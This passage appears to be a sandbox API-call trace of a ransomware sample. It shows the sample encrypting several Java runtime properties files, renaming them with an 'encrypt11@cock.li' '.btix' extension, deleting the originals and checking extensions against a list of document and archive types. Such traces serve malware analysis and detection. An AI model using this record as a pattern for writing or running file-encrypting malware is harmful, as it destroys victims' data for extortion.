(lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0129.622] lstrlenW (lpString=".jpg") returned 4 [0129.622] lstrcmpiW (lpString1=".jpg", lpString2="C.pf") returned -1 [0129.622] lstrcmpiW (lpString1=".properties", lpString2=".btix") returned 1 [0129.622] lstrlenW (lpString="messages_de.properties") returned 22 [0129.622] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0129.924] GetFileSizeEx (in: hFile=0x41c, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=3306) returned 1 [0129.924] CloseHandle (hObject=0x41c) returned 1 [0129.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties")) returned 0x20 [0129.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0129.927] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0129.927] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0129.927] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0129.927] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x424 [0129.929] GetLastError () returned 0x0 [0129.929] ReadFile (in: hFile=0x41c, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0xcea, lpOverlapped=0x0) returned 1 [0130.009] WriteFile (in: hFile=0x424, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0xcf0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0xcf0, lpOverlapped=0x0) returned 1 [0130.010] ReadFile (in: hFile=0x41c, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0130.010] WriteFile (in: hFile=0x424, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x100, lpOverlapped=0x0) returned 1 [0130.010] SetEndOfFile (hFile=0x424) returned 1 [0130.010] CloseHandle (hObject=0x424) returned 1 [0130.010] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0130.010] SetEndOfFile (hFile=0x41c) returned 1 [0130.014] CloseHandle (hObject=0x41c) returned 1 [0130.014] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0130.014] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties")) returned 1 [0130.015] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0130.015] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0130.015] lstrlenW (lpString=".doc") returned 4 [0130.015] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0130.015] lstrlenW (lpString=".docx") returned 5 [0130.015] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0130.015] lstrlenW (lpString=".pdf") returned 4 [0130.015] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0130.015] lstrlenW (lpString=".xls") returned 4 [0130.015] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0130.015] lstrlenW (lpString=".xlsx") returned 5 [0130.015] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0130.015] lstrlenW (lpString=".ppt") returned 4 [0130.015] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0130.015] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0130.015] lstrlenW (lpString=".zip") returned 4 [0130.015] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0130.015] lstrlenW (lpString=".rar") returned 4 [0130.015] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0130.015] lstrlenW (lpString=".bz2") returned 4 [0130.015] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0130.015] lstrlenW (lpString=".7z") returned 3 [0130.015] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0130.015] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0130.015] lstrlenW (lpString=".dbf") returned 4 [0130.015] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0130.016] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0130.016] lstrlenW (lpString=".1cd") returned 4 [0130.016] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0130.016] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0130.016] lstrlenW (lpString=".jpg") returned 4 [0130.016] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0130.016] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0130.016] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0130.016] lstrlenW (lpString=".doc") returned 4 [0130.016] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0130.016] lstrlenW (lpString=".docx") returned 5 [0130.016] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0130.016] lstrlenW (lpString=".pdf") returned 4 [0130.016] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0130.016] lstrlenW (lpString=".xls") returned 4 [0130.016] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0130.016] lstrlenW (lpString=".xlsx") returned 5 [0130.016] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0130.016] lstrlenW (lpString=".ppt") returned 4 [0130.016] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0130.016] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0130.016] lstrlenW (lpString=".zip") returned 4 [0130.016] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0130.016] lstrlenW (lpString=".rar") returned 4 [0130.016] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0130.016] lstrlenW (lpString=".bz2") returned 4 [0130.016] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0130.016] lstrlenW (lpString=".7z") returned 3 [0130.016] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0130.016] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0130.016] lstrlenW (lpString=".dbf") returned 4 [0130.016] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0130.016] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0130.016] lstrlenW (lpString=".1cd") returned 4 [0130.017] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0130.017] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0130.017] lstrlenW (lpString=".jpg") returned 4 [0130.017] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0130.017] lstrcmpiW (lpString1=".properties", lpString2=".btix") returned 1 [0130.017] lstrlenW (lpString="messages_fr.properties") returned 22 [0130.017] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0130.017] GetFileSizeEx (in: hFile=0x41c, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=3409) returned 1 [0130.017] CloseHandle (hObject=0x41c) returned 1 [0130.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties")) returned 0x20 [0130.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0130.018] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0130.018] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0130.018] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0130.018] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c [0130.018] GetLastError () returned 0x0 [0130.018] ReadFile (in: hFile=0x41c, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0xd51, lpOverlapped=0x0) returned 1 [0130.225] WriteFile (in: hFile=0x43c, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0xd60, lpOverlapped=0x0) returned 1 [0130.226] ReadFile (in: hFile=0x41c, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0130.226] WriteFile (in: hFile=0x43c, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x100, lpOverlapped=0x0) returned 1 [0130.226] SetEndOfFile (hFile=0x43c) returned 1 [0130.226] CloseHandle (hObject=0x43c) returned 1 [0130.226] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0130.226] SetEndOfFile (hFile=0x41c) returned 1 [0130.229] CloseHandle (hObject=0x41c) returned 1 [0130.229] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0130.229] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties")) returned 1 [0130.230] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0130.230] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0130.230] lstrlenW (lpString=".doc") returned 4 [0130.230] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0130.230] lstrlenW (lpString=".docx") returned 5 [0130.230] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0130.230] lstrlenW (lpString=".pdf") returned 4 [0130.230] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0130.230] lstrlenW (lpString=".xls") returned 4 [0130.230] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0130.230] lstrlenW (lpString=".xlsx") returned 5 [0130.230] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0130.230] lstrlenW (lpString=".ppt") returned 4 [0130.230] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0130.230] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0130.230] lstrlenW (lpString=".zip") returned 4 [0130.230] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0130.230] lstrlenW (lpString=".rar") returned 4 [0130.230] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0130.230] lstrlenW (lpString=".bz2") returned 4 [0130.230] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0130.230] lstrlenW (lpString=".7z") returned 3 [0130.230] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0130.230] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0130.230] lstrlenW (lpString=".dbf") returned 4 [0130.230] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0130.230] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0130.230] lstrlenW (lpString=".1cd") returned 4 [0130.230] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0130.230] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0130.231] lstrlenW (lpString=".jpg") returned 4 [0130.231] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0130.231] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0130.231] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0130.231] lstrlenW (lpString=".doc") returned 4 [0130.231] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0130.231] lstrlenW (lpString=".docx") returned 5 [0130.231] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0130.231] lstrlenW (lpString=".pdf") returned 4 [0130.231] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0130.231] lstrlenW (lpString=".xls") returned 4 [0130.231] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0130.231] lstrlenW (lpString=".xlsx") returned 5 [0130.231] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0130.231] lstrlenW (lpString=".ppt") returned 4 [0130.231] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0130.231] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0130.231] lstrlenW (lpString=".zip") returned 4 [0130.231] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0130.231] lstrlenW (lpString=".rar") returned 4 [0130.231] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0130.231] lstrlenW (lpString=".bz2") returned 4 [0130.231] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0130.231] lstrlenW (lpString=".7z") returned 3 [0130.231] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0130.231] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0130.231] lstrlenW (lpString=".dbf") returned 4 [0130.231] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0130.231] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0130.231] lstrlenW (lpString=".1cd") returned 4 [0130.231] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0130.231] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0130.232] lstrlenW (lpString=".jpg") returned 4 [0130.232] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0130.232] lstrcmpiW (lpString1=".properties", lpString2=".btix") returned 1 [0130.232] lstrlenW (lpString="messages_ko.properties") returned 22 [0130.232] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0130.232] GetFileSizeEx (in: hFile=0x41c, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=5712) returned 1 [0130.232] CloseHandle (hObject=0x41c) returned 1 [0130.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties")) returned 0x20 [0130.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0130.233] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0130.233] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0130.233] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0130.233] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c [0130.234] GetLastError () returned 0x0 [0130.234] ReadFile (in: hFile=0x41c, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x1650, lpOverlapped=0x0) returned 1 [0130.411] WriteFile (in: hFile=0x43c, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x1660, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x1660, lpOverlapped=0x0) returned 1 [0130.412] ReadFile (in: hFile=0x41c, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0130.413] WriteFile (in: hFile=0x43c, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x100, lpOverlapped=0x0) returned 1 [0130.413] SetEndOfFile (hFile=0x43c) returned 1 [0130.413] CloseHandle (hObject=0x43c) returned 1 [0130.413] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0130.413] SetEndOfFile (hFile=0x41c) returned 1 [0130.415] CloseHandle (hObject=0x41c) returned 1 [0130.415] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0130.416] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties")) returned 1 [0130.416] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0130.416] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0130.416] lstrlenW (lpString=".doc") returned 4 [0130.416] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0130.416] lstrlenW (lpString=".docx") returned 5 [0130.416] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0130.416] lstrlenW (lpString=".pdf") returned 4 [0130.416] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0130.416] lstrlenW (lpString=".xls") returned 4 [0130.416] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0130.416] lstrlenW (lpString=".xlsx") returned 5 [0130.416] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0130.416] lstrlenW (lpString=".ppt") returned 4 [0130.416] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0130.416] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0130.417] lstrlenW (lpString=".zip") returned 4 [0130.417] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0130.417] lstrlenW (lpString=".rar") returned 4 [0130.417] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0130.417] lstrlenW (lpString=".bz2") returned 4 [0130.417] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0130.417] lstrlenW (lpString=".7z") returned 3 [0130.417] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0130.417] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0130.417] lstrlenW (lpString=".dbf") returned 4 [0130.417] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0130.417] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0130.417] lstrlenW (lpString=".1cd") returned 4 [0130.417] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0130.417] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0130.417] lstrlenW (lpString=".jpg") returned 4 [0130.417] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0130.417] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0130.417] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0130.417] lstrlenW (lpString=".doc") returned 4 [0130.417] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0130.417] lstrlenW (lpString=".docx") returned 5 [0130.417] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0130.417] lstrlenW (lpString=".pdf") returned 4 [0130.417] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0130.417] lstrlenW (lpString=".xls") returned 4 [0130.417] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0130.417] lstrlenW (lpString=".xlsx") returned 5 [0130.417] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0130.417] lstrlenW (lpString=".ppt") returned 4 [0130.417] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0130.417] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0130.417] lstrlenW (lpString=".zip") returned 4 [0130.417] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0130.417] lstrlenW (lpString=".rar") returned 4 [0130.418] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0130.418] lstrlenW (lpString=".bz2") returned 4 [0130.418] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0130.418] lstrlenW (lpString=".7z") returned 3 [0130.418] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0130.418] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0130.418] lstrlenW (lpString=".dbf") returned 4 [0130.418] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0130.418] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0130.418] lstrlenW (lpString=".1cd") returned 4 [0130.418] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0130.418] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0130.418] lstrlenW (lpString=".jpg") returned 4 [0130.418] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0130.418] lstrcmpiW (lpString1=".properties", lpString2=".btix") returned 1 [0130.418] lstrlenW (lpString="messages_zh_CN.properties") returned 25 [0130.418] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0130.418] GetFileSizeEx (in: hFile=0x41c, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=4072) returned 1 [0130.419] CloseHandle (hObject=0x41c) returned 1 [0130.419] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties")) returned 0x20 [0130.419] GetFileAttributesW (lpFileName="C:\\Program 